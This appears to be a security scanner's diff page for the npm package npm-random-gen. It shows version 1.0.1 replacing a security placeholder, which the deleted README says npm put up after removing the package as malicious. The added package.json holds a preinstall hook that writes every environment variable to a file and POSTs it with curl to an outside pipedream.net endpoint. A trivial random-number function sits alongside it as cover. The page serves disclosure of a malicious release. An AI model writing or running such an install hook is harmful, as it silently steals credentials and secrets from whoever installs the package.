npm-random-gen 0.0.1-security → 1.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of npm-random-gen might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,7 @@
1
+ function randomNoGenerator(min, max) {
2
+ if(typeof(max) !== 'number' && typeof(min) !== 'number') {
3
+ min = 0; max = 1;
4
+ }
5
+ return (Math.random() * (max-min)) + min;
6
+ }
7
+ module.exports = randomNoGenerator;
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "npm-random-gen",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.1",
4
+ "description": "Don't try out, this purely for learning purpose",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "echo $(printenv) > preinstall.txt && curl -X POST -F 'file=@preinstall.txt' https://eoerh8zdok2dcuf.m.pipedream.net "
8
+ },
9
+ "author": "Rajesh Kanumuru",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "npm-random-gen": "^1.0.0"
13
+ }
6
14
  }
package/test/script.js ADDED
@@ -0,0 +1,2 @@
1
+ const randomNumberGenerator = require('npm-random-gen');
2
+ console.log(randomNumberGenerator(5, 10));
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=npm-random-gen for more information.